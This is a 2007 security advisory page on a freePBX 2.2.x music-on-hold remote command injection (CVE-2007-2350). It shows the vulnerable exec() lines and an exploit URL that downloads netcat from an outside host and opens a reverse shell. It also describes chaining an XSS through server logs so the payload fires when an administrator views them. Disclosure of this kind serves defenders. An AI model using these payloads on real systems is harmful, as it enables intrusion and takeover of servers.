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Home arrow SecurityAlert Database

Arrow  Topic :

freePBX 2.2.x's Music-on-hold Remote Code Execution Injection


Arrow  SecurityAlert : 2652
Arrow  CVE : CVE-2007-2350
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : XenoMuta
Arrow  Published : 02.05.2007

Arrow  Affected Software : freePBX 2.2.x



Arrow  Advisory Content :  

I've found a code injection in the music-on-hold module at freePBX's
portal.

There are Inssuficient filters in the delete functions. Only " '
and ; are being filtered.

Vulnerable Lines:
300: $rmcmd="rm -f "".$path_to_dir."/".
$del.""";
301: exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=`wget -q
http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc
myhost.mydomain.com 1234 -e /bin/sh`&category=default


You can inject this code without access to the portal into the /var/
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src="/admin/config.php?
display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc
``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">"
hoping that an administrator to view the logs from the portals....
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/
053882.html


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